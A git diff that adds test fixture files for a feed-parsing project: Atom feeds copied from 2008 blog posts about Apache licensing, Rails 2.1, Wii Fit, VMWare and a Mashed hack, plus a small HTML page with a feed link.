+<p>But I digress.  Where was I?  Oh, yes, the meeting.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</p>
+<p>My plans here on out is to push for <a href="http://people.apache.org/~rubys/3party.html#category-x">Category X licenses</a> as well as the <a href="http://people.apache.org/~rubys/3party.html#transition-examples">transition examples</a> to be added to the <a href="http://www.apache.org/legal/resolved.html">resolved legal questions</a>.  And to state that the work on best practices and specific limited exemptions for all other licenses (effectively all the licenses known to be in category B, and all licenses yet to be explored) is ongoing.  And with that jedi-like hand wave coupled with the Apache secret weapon: namely an open invitation for all those who are affected by this to join legal-discuss and help work out the issues (also known as the <em>where’s your patch?</em> or <em>thanks for volunteering</em> defense), the villages will once again be peaceful.</p>
+<p>Wish me luck.  Oh, and don’t tell anybody about my secret plan.  Nobody reads my blog anyway.</p>
+<p>And if any of you out there are lawyers: I’m sorry for the trouble I’ve given you in the past.</p></div></content>
+    <updated>2008-06-06T08:20:07-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2853</id>
+    <link href="/blog/2008/06/05/Rails-2-1"/>
+    <link rel="replies" href="2853.atom" thr:count="3" thr:updated="2008-06-15T00:44:07-04:00"/>
+    <title>Rails 2.1</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, Third Edition</a> has been updated to <a href="http://weblog.rubyonrails.org/2008/6/1/rails-2-1-time-zones-dirty-caching-gem-dependencies-caching-etc">Rails 2.1</a>.  The biggest visible change is the <a href="http://ryandaigle.com/articles/2008/4/2/what-s-new-in-edge-rails-utc-based-migration-versioning">UTC-based migrations</a>.  It is amazing how fast <a href="http://pragprog.com/titles/rails3/errata#e32259">beta readers</a> pick up on details such as these.</div></content>
+    <updated>2008-06-05T09:51:58-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2852</id>
+    <link href="/blog/2008/06/04/Wii-Fit"/>
+    <link rel="replies" href="2852.atom" thr:count="4" thr:updated="2008-06-11T16:40:52-04:00"/>
+    <title>Wii Fit</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="143" height="70" viewBox="0 0 143 70">
+  <path d='M2,6h14l12,45l11-41c3-7,13-7,16,0l11,41l12-45h14l-17,58c-3,7-13,7-16,0l-12-39l-12,39c-3,7-13,7-16,0zM99,68v-43h14v43zM126,68v-43h14v43z' fill='#999'/>
+  <circle cx='133' cy='10' fill='#999' r='8'/>
+  <circle cx='106' cy='10' fill='#999' r='8'/>
+</svg>
+<p>Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</p>
+<p>I find that I’m good at activities that require me to stand relatively still on two feet — things like the “Warrior Pose” and even “Table Tilt”, but not quite so good at activities either that require rapid shifting such as “Soccer Heading” or standing on one foot such as “Tree”.  I can do “Push Ups and Side Planks” with ease, but can’t for the life of me do “Hula Hoops”.  I am getting better at “Ski Slalom” though — I’ve actually managed to make it down the hill without missing any of the flagged regions — once.</p></div></content>
+    <updated>2008-06-04T19:21:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2851</id>
+    <link href="/blog/2008/05/29/Scaling-Rails-Down"/>
+    <link rel="replies" href="2851.atom" thr:count="4" thr:updated="2008-06-13T07:28:38-04:00"/>
+    <title>Scaling Rails... Down</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>What I mean by scaling down is to places where I would not have previously thought it was worth the time or effort to build a web application.  In many cases, I am talking single user, single table applications whose usefulness may last only a few months or even days.  The ability to go from concept to running code preloaded with live data in five minutes or less is truly a game changer for me.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.  It is said that Rails itself was factored out of live running application, and perhaps after I create a few more examples, I will be able to fully see the commonality and be able to build a generator and/or a small wizard application (built on Rails, natch).</p>
+<p>The six steps to a running application are <code>rails application</code>, <code>cd application</code>, <code>ruby script/generate scaffold table attrs...</code>, <code>rake db:migrate</code>, <em>load</em> data, <code>ruby script/server</code>, and <em>tweak</em>.  The keys being <code>scaffold</code>, <em>load</em>, and <em>tweak</em>.</p>
+<h3 id="errata">Errata</h3>
+<p>The first example is <a href="http://intertwingly.net/stories/2008/05/29/errata.rb">errata</a>.  <a href="http://pragprog.com/">Pragmatic Programmers</a> hosts a simple <a href="http://pragprog.com/titles/rails3/errata/">errata</a> page that contains input that has been received to date beta of books.  As I’m working (sometimes offline), I like having the ability to annotate these records as to whether I have made the fix, am deferring the suggestion for now, or (for whatever reason) the fix is resolved another way.</p>
+<p>So I define a model for an erratum consisting of three groups of attributes: ones that show up in the index and on the individual edit page, ones that are in the xml file but I’m not concerned about for the moment, and additional  attributes that represent annotation.</p>
+<p>The “tweaks” include defining a virtual attribute in the model for a “beta_page” that combines the <code>title_release_reported_in</code> and <code>pdf_page</code> fields into one, highlights errata which were first seen within the last 24 hours, filter the index to only show issues which haven’t been categorized, turn off session support (as this is a single user application), and some minor CSS.</p>
+<p>Loading is as simple as an xml parse of the <a href="http://pragprog.com/titles/rails3/errata/index.xml">input document</a>, some minor type coercions, name mapping, and filtering, and into the database it goes.  This step can be rerun multiple times as it will only replace the columns which were originally sourced from the document, and will only add new rows when a new errata_id is encountered.</p>
+<p><a href="http://intertwingly.net/stories/2008/05/29/errata.rb">this code</a> does all that and launches a server.  Up and running in five minutes indeed.  And <a href="http://intertwingly.net/stories/2008/05/29/report.html.erb">additional reports</a> are easy enough to add later.</p>
+<h3 id="agenda">Agenda</h3>
+<p>The second example is <a href="http://intertwingly.net/stories/2008/05/29/agenda.rb">agenda</a>.  The <a href="http://www.apache.org/foundation/board/">ASF Board</a> meetings each have an agenda that is of the same basic format as the <a href="http://www.apache.org/foundation/board/calendar.html">minutes</a>, but with room for individual directors to leave comments and to “pre-approve” individual reports.  As an officer, director, and secretary, I need to interleave reporting, participating, and recording activities all the while coping with a document that is in a decidedly non-linear format.  I’ve been able to cope using browser tabs and having a <a href="http://intertwingly.net/blog/2008/03/08/Switched">second monitor</a> has been a real blessing, but having a single application that enables me to navigate within the document and record comments inline would be helpful.</p>
+<p>Once again, there are three groups of attributes involved: ones that show only in the index, ones that show both in the index and on the individual report pages, and ones that represent annotations.</p>
+<p>Tweaks include color coding the rows based on the status of the report (missing, ready for review, approved with comments, and simply approved) and changing the flow in the controller to move onto the next report after an update is made.</p>
+<p>The loading step is the most difficult one here as it involves some gnarly regular expressions and, in the case of Additional Officer Reports and Committee Reports requires two passes.  The actual interaction with the database is trivial.</p>
+<p>The “market” for the above application is likely only “one”, or at most a dozen or so (directors plus guests), and as such would probably still remain unwritten except for the fact that I was bored on a plane ride out and this gave me something to do.  Future work would include expanding to the “prep” stage (i.e., highlight which reports are ready but have not been reviewed by me just yet), and to the “publish” state (first pass generation of the report based on the agenda and annotations).</p></div></content>
+    <updated>2008-05-29T13:58:37-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2850</id>
+    <link href="/blog/2008/05/21/Despamming-Venus-Mememes-List"/>
+    <link rel="replies" href="2850.atom" thr:count="1" thr:updated="2008-05-21T22:57:26-04:00"/>
+    <title>Despamming Venus Mememes List</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100" viewBox="0 0 100 100">
+  <defs>
+    <g id="src" opacity="0.5" fill="none" stroke-width="12">
+      <circle cx="-20" cy="19" r="1"/>
+      <path d="M0,19s0-20-20-20m0-19s40,0,40,40" stroke-linecap="round"/>
+    </g>
+  </defs>
+  <use xlink:href="#src" transform="translate(64,56) rotate(240)" stroke="#44F"/>
+  <use xlink:href="#src" transform="translate(42,36) rotate(120)" stroke="#0C0"/>
+  <use xlink:href="#src" transform="translate(35,65)" stroke="#F00"/>
+</svg>
+<p>I just committed a change to <a href="http://www.intertwingly.net/code/venus/">Venus</a> that lets one configure a list of URIs which are <b>not</b> to be included in the mememe list.  Example usage:</p>
+<pre class="code">[mememe.plugin]
+spam:
+  http://services.google.com/feedback/abg</pre>
+<p>One simply lists URIs separated by white space (I personally prefer to do this one per line) and these URIs will be eliminated from the list.</p></div></content>
+    <updated>2008-05-21T21:59:32-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2849</id>
+    <link href="/blog/2008/05/15/Men-in-Suits"/>
+    <link rel="replies" href="2849.atom" thr:count="0"/>
+    <title>Men in Suits</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://blogs.codehaus.org/people/geir/archives/001692_men_in_suits.html">Geir Magnusson Jr</a>: <em>Given that fact that the statements contained in <a href="http://www.regdeveloper.co.uk/2008/05/14/jcp_individual_representation/">[link]</a> are given by a Sun employee identifying himself in his job role, can I assume that Sun is interested in taking this discussion public? I think that is a really healthy approach. I think there is confusion about the basic facts and I think clarification will be useful for the community as a whole.</em></p>
+<p>It is the right discussion to be having.  Let’s just make sure that the <a href="http://blogs.codehaus.org/people/geir/archives/001687_jcp_member_of_the_year.html">right people</a> have every opportunity to participate.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <g stroke="#000" fill="none" stroke-width="0.2">
+    <path d="M5,60 A16,30 60,1,1 95,40"/>
+    <path d="M10,60 A15,30 60,1,1 90,40"/>
+    <path d="M15,60 A14,30 60,1,1 85,40"/>
+    <path d="M20,60 A13,30 60,1,1 80,40"/>
+    <circle cx="40" cy="24" r="4" fill="#C0C" stroke="none"/>
+    <circle cx="50" cy="50" r="25" fill="#FD0" stroke="none"/>
+    <path d="M5,60 A16,30 60,0,0 95,40"/>
+    <path d="M10,60 A15,30 60,0,0 90,40"/>
+    <path d="M15,60 A14,30 60,0,0 85,40"/>
+    <path d="M20,60 A13,30 60,0,0 80,40"/>
+  </g>
+  <circle cx="60" cy="61" r="2" fill="#F00"/>
+  <circle cx="78" cy="25" r="3" fill="#0F0"/>
+  <circle cx="22" cy="79" r="3" fill="#00F"/>
+</svg>
+<p><a href="http://blogs.codehaus.org/people/geir/archives/001692_men_in_suits.html"><cite>Geir Magnusson Jr</cite></a>: <em>Given that fact that the statements contained in <a href="http://www.regdeveloper.co.uk/2008/05/14/jcp_individual_representation/">[link]</a> are given by a Sun employee identifying himself in his job role, can I assume that Sun is interested in taking this discussion public? I think that is a really healthy approach. I think there is confusion about the basic facts and I think clarification will be useful for the community as a whole.</em></p>
+<p><a href="http://blogs.sun.com/webmink/entry/links_for_2008_05_14">Simon Phipps</a>: <em>The lesson to be learned is that the best way to get Java everywhere was to work with the community rather than expect the community to work with Sun. Let’s hope that lesson sticks and spreads.</em></p>
+<p>There is a discussion going on.  At the moment, it appears to be between Sun and the press.</p>
+<p>It is the right discussion to be having.  Let’s just make sure that the <a href="http://blogs.codehaus.org/people/geir/archives/001687_jcp_member_of_the_year.html">right people</a> have every opportunity to participate.</p></div></content>
+    <updated>2008-05-15T07:56:08-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2848</id>
+    <link href="/blog/2008/05/14/Beta-1-1"/>
+    <link rel="replies" href="2848.atom" thr:count="2" thr:updated="2008-05-15T12:34:21-04:00"/>
+    <title>Beta 1.1</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>B1.1 of <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, 3rd Edition</a> is out.  Unless you have an deep interest in the migration function, there isn’t much new content here — the primary focus on this update is addressing the <a href="http://pragprog.com/titles/rails3/errata?what_to_show=896">errata</a> and <a href="http://forums.pragprog.com/forums/66">forum</a> comments received to date.</p>
+<p>This effort has turned out to be both harder and more rewarding than I would have ever anticipated.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<p>B1.1 of <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, 3rd Edition</a> is out.  Unless you have an deep interest in the migration function, there isn’t much new content here — the primary focus on this update is addressing the <a href="http://pragprog.com/titles/rails3/errata?what_to_show=896">errata</a> and <a href="http://forums.pragprog.com/forums/66">forum</a> comments received to date.</p>
+<p>This effort has turned out to be both harder and more rewarding than I would have ever anticipated.  Harder in that Rails has changed so much, there has been so much to learn (in terms of Rails 2.0, <a href="http://www.sqlite.org/">SQLite3</a>, and also in terms of working with a different publisher, operating system, and toolset).  But I can’t begin to express how much I like the <a href="http://www.pragprog.com/categories/beta">beta books</a> program — the readers that this book has attracted so far have been great and their comments, questions, and feedback have been most appreciated.</p>
+<p>Also, while this book has always had ample <a href="http://pragprog.com/titles/rails3/source_code">source code</a> provided, I’m continuing to look for ways to both expand and automate.  Rerunning the code on rails edge, for example is now something I can repeatedly do in a matter of minutes.</p></div></content>
+    <updated>2008-05-14T09:41:11-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2847</id>
+    <link href="/blog/2008/05/13/Open-Standards"/>
+    <link rel="replies" href="2847.atom" thr:count="3" thr:updated="2008-05-31T07:59:49-04:00"/>
+    <title>Open Standards</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M34,93l11,-29a15,15 0,1,1 9,0l11,29a45,45 0,1,0 -31,0z" stroke="#142" stroke-width="2" fill="#4a5"/>
+</svg>
+<p><a href="http://pzf.fremantle.org/2008/05/open-source-versus-open-standards.html"><cite>Paul Fremantle</cite></a>: <em>For me the core difference between Open Standards and Open Source is this: Open Standards enable companies to <b>compete</b> in a structured way, Open Source projects enable people or companies to <b>collaborate</b> in a structured way</em></p>
+<p>I think Paul may be onto something.  It is rapidly becoming the case that <a href="http://rubyspec.org/">this</a> more than <a href="http://www.iso.org/iso/home.htm">this</a> is becoming the exemplar for open standards.  While it is popular to malign the JCP, it is worth noting that many (most?) JSRs have TCKs which actively promote the idea of multiple, independent, interoperable implementations.</p></div></content>
+    <updated>2008-05-13T08:07:29-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2846</id>
+    <link href="/blog/2008/05/08/Word-Of-Mouth"/>
+    <link rel="replies" href="2846.atom" thr:count="3" thr:updated="2008-05-10T17:05:36-04:00"/>
+    <title>Word Of Mouth</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://www.zephoria.org/thoughts/archives/2007/11/15/who_has_a_cute.html">danah boyd</a>: <em>I decided to go with a Scion xD because it was the right combination of small, cheap, quirky, practical, and dependable. I feel a little guilty because it’s painfully clear that Scion is targeted directly at people like me and I hate ending up fitting into a stereotype, but, well... it is nice to have an iPod jack built in standard and have a design aesthetic meant for hipster 20-30somethings.</em></p>
+<p>danah deserves a commission.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="120" height="83" viewBox="0 0 120 83">
+  <path d='M60,0c-33,0-60,19-60,42c0,22,27,41,60,41c33,0,60-19,60-41c0-23-27-42-60-42M60,77c-27,0-48-16-48-35c0-20,21-36,48-36c27,0,49,16,49,36c0,19-22,35-49,35' fill='#AAA'/>
+  <path d='M60,4c-28,0-52,17-52,38c0,20,24,37,52,37c29,0,52-17,52-37c0-21-23-38-52-38M60,77c-27,0-48-16-48-35c0-20,21-36,48-36c27,0,49,16,49,36c0,19-22,35-49,35' fill='#717279'/>
+  <path d='M60,3c-29,0-52,17-52,39c0,21,23,38,52,38c29,0,53-17,53-38c0-22-24-39-53-39M60,79c-28,0-52-17-52-37c0-21,24-38,52-38c29,0,52,17,52,38c0,20-23,37-52,37M111,35h-102l-1,7l1,6h102c1-2,1-4,1-6c0-3,0-5-1-7' fill='#EEE'/>
+  <path d='M108,34h-95l-4,1h3h96h3l-3-1' fill='#58585E'/>
+  <path d='M12,48h-3l4,1h95l3-1h-3z' fill='#3A3B3E'/>
+  <path d='M62,5c0,0-14,13-16,30h12c-4-13,4-30,4-30M59,78c0,0,13-13,15-30h-11c4,13-4,30-4,30' fill='#BBB'/>
+  <path d='M58,35h9c-11-6-5-30-5-30s-8,17-4,30M63,48h-10c11,6,6,30,6,30s8-17,4-30M109,45c0,1-1,1-2,1h-1v-7l-1-1h-15v8h-3v-9h19c1,0,3,1,3,2zM12,45h17c1,0,1-1,1-1v-2h-18v-3c0-1,1-2,3-2h18v1h-17c-1,0-1,1-1,1v2h18v3c0,1-1,2-3,2h-16c-1,0-2,0-2-1M38,44l1,1h17v1h-18c-2,0-3-1-3-2v-5c0-1,1-2,3-2h18v1h-17l-1,1zM62,37v9h-3v-9zM85,39v5c0,1-1,2-2,2h-16c-2,0-3-1-3-2v-5c0-1,1-2,3-2h16c1,0,2,1,2,2M81,38h-13c-1,0-1,1-1,1v5c0,0,0,1,1,1h13c1,0,1-1,1-1v-5c0,0,0-1-1-1' fill='#060506'/>
+</svg>
+<p><a href="http://www.zephoria.org/thoughts/archives/2007/11/15/who_has_a_cute.html"><cite>danah boyd</cite></a>: <em>I decided to go with a Scion xD because it was the right combination of small, cheap, quirky, practical, and dependable. I feel a little guilty because it’s painfully clear that Scion is targeted directly at people like me and I hate ending up fitting into a stereotype, but, well... it is nice to have an iPod jack built in standard and have a design aesthetic meant for hipster 20-30somethings.</em></p>
+<p>danah deserves a commission.  No, I’m clearly not a hipster 20-30something, but there seems to be a transitive property in effect as teenage girls tend to be 20-30something wannabies.  In addition to the aspects that danah mentioned, gas mileage is not too bad.  I also feel that — for this demographic at least — the ability to control an iPod from the steering wheel is an vital safety feature.  We also went for the <a href="http://en.wikipedia.org/wiki/Vehicle_Stability_Control">electronic stability control</a>.</p>
+<p>Anybody who happens to be by <a href="http://www.fredandersontoyota.com/">Fred Anderson Toyota</a> should ask for Phil.</p></div></content>
+    <updated>2008-05-08T08:12:03-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2845</id>
+    <link href="/blog/2008/05/05/VMWare-Workstation-Hardy-Heron-VMWare-Tools"/>
+    <link rel="replies" href="2845.atom" thr:count="7" thr:updated="2008-05-06T16:57:07-04:00"/>
+    <title>VMWare Workstation, Hardy Heron, VMWare Tools</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://norman.walsh.name/2008/05/05/vmwaretools">Norman Walsh</a>: <em>In case you haven’t found it yet, <a href="http://peterc.org/2008/62-how-to-install-vmware-tools-on-ubuntu-hardy-804-under-vmware-fusion.html">here’s a pointer</a> to the instructions for building VMWare Tools under Ubuntu 8.04, “Hardy Heron”.</em></p>
+<p>The above instructions (originally for VMWare Fusion) also work for VMWare Workstation.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <g fill='none' stroke='#7d9bc6' stroke-width='3'>
+    <rect height='44' width='44' x='17' y='41' rx="3"/>
+    <rect height='44' width='44' x='27' y='19' rx="3"/>
+    <rect height='44' width='44' x='39' y='29' rx="3"/>
+  </g>
+</svg>
+<p><a href="http://norman.walsh.name/2008/05/05/vmwaretools"><cite>Norman Walsh</cite></a>: <em>In case you haven’t found it yet, <a href="http://peterc.org/2008/62-how-to-install-vmware-tools-on-ubuntu-hardy-804-under-vmware-fusion.html">here’s a pointer</a> to the instructions for building VMWare Tools under Ubuntu 8.04, “Hardy Heron”.</em></p>
+<p>It turns out that IBM Ubuntu software layer (e.g. VPN software) does not yet work with Hardy Heron.  A few years ago, I would compiling and comparing notes with collegues, but now I’ve gotten complacent.  I mean, really, Hardy has been out for 11 days now, what’s the problem?</p>
+<p>So, I decided to try VMWare Workstation (i.e., for Windows).  The above instructions (originally for VMWare Fusion) also work for VMWare Workstation.  Suspend/Resume work, but unless Ubuntu is separately suspended, it won’t re-synchronize with the hardware clock on resume, but the following in <code>crontab</code> for <code>root</code> addresses this:</p>
+<pre class="code">0,10,20,30,40,50 * * * * /etc/init.d/hwclock.sh start  &gt; /dev/null</pre>
+<p>The VM runs above the Wifi layer (i.e., appears to the VM as <code>eth0</code>), but below the VPN layer (drats!).</p>
+<p>On a T61p, the display runs about as well as the native open source video driver (i.e., no <a href="http://compiz.org/">compiz</a>).  One idiosyncrasy I’ve found so far is that releasing the right mouse button often has the effect of selecting the first menu item.</p>
+<p>Switching back and forth between operating systems is fast, and one can even share directories (e.g. <code>C:\cygwin\home\rubys</code> as <code>/mnt/hgfs/rubys</code>) and copy/paste between host and VM windows.</p></div></content>
+    <updated>2008-05-05T20:40:39-04:00</updated>
+  </entry>
+
+</feed>
+
diff --git a/whoisi/static/tests/no-feed-relative-links.html b/whoisi/static/tests/no-feed-relative-links.html
new file mode 100644 (file)
index 0000000..dd35a2a
--- /dev/null
@@ -0,0 +1,9 @@
+<html>
+<head>
+<link rel="alternate" type="application/atom+xml" title="First Feed" href="no-feed-relative-links.atom"/>
+</head>
+<body>
+ZOMG!!!
+</body>
+</html>
+
diff --git a/whoisi/static/tests/no-link.atom b/whoisi/static/tests/no-link.atom
new file mode 100644 (file)
index 0000000..0732359
--- /dev/null
@@ -0,0 +1,68 @@
+<?xml version="1.0"?>
+<feed xmlns="http://www.w3.org/2005/Atom">
+  <id>tag:interblah.net,2008-06-01:kind/blog</id>
+  <title>interblah.net - blog</title>
+  <updated>2008-06-01T13:37:19+00:00</updated>
+  <entry>
+    <title>mashed-2008</title>
+    <id>tag:interblah.net,2008-06-22:/mashed-2008</id>
+    <updated>2008-06-25T09:23:12+00:00</updated>
+    <published>2008-06-22T14:37:57+00:00</published>
+    <link href="http://interblah.net/mashed-2008"/>
+    <author>
+      <name>james</name>
+    </author>
+    <content type="html">&lt;h1&gt;Mashed 2008&lt;/h1&gt;
+
+&lt;p&gt;Well, I'm just back from &lt;a href="http://mashed08.backnetwork.com/"&gt;Mashed 2008&lt;/a&gt;, but before my brain shuts down due to lack of sleep (thanks, people playing RockBand all night, you are &lt;em&gt;awesome&lt;/em&gt;), I just wanted to post a video of our (prize-winning!) hack.&lt;/p&gt;
+
+&lt;p&gt;We took some of the (somewhat odd) XML subtitle feeds that the BBC generate, and extracted interesting words at specific points in time. We then hooked this up to some flash (originally developed by &lt;a href="http://ten4design.co.uk/"&gt;TEN4 Design&lt;/a&gt;), stolen from &lt;a href="http://dylan.sonybmgmusic.co.uk/create"&gt;Sony BMG&lt;/a&gt;, and quite thoroughly hacked, presenting it alongside content from the BBC Redux corresponding to the subtitles, to produce this. &lt;/p&gt;
+
+&lt;p&gt;I like to call it &lt;em&gt;Subterranean Homesick News&lt;/em&gt;:&lt;/p&gt;
+
+&lt;p&gt;&lt;object width="400" height="300"&gt;   &lt;param name="allowfullscreen" value="true" /&gt;   &lt;param name="allowscriptaccess" value="always" /&gt;   &lt;param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=1214166&amp;amp;server=www.vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" /&gt;   &lt;embed src="http://www.vimeo.com/moogaloop.swf?clip_id=1214166&amp;amp;server=www.vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;strike&gt;I'll post a link to the full video once it's ready&lt;/strike&gt; &lt;a href="http://vimeo.com/1214367"&gt;Here's the longer video&lt;/a&gt; - I particularlly like the Hissy fit. I think there are some great moments in it (as well, as some not so great bits, but that's what you get after 24 hours of sleepless hackery).&lt;/p&gt;
+
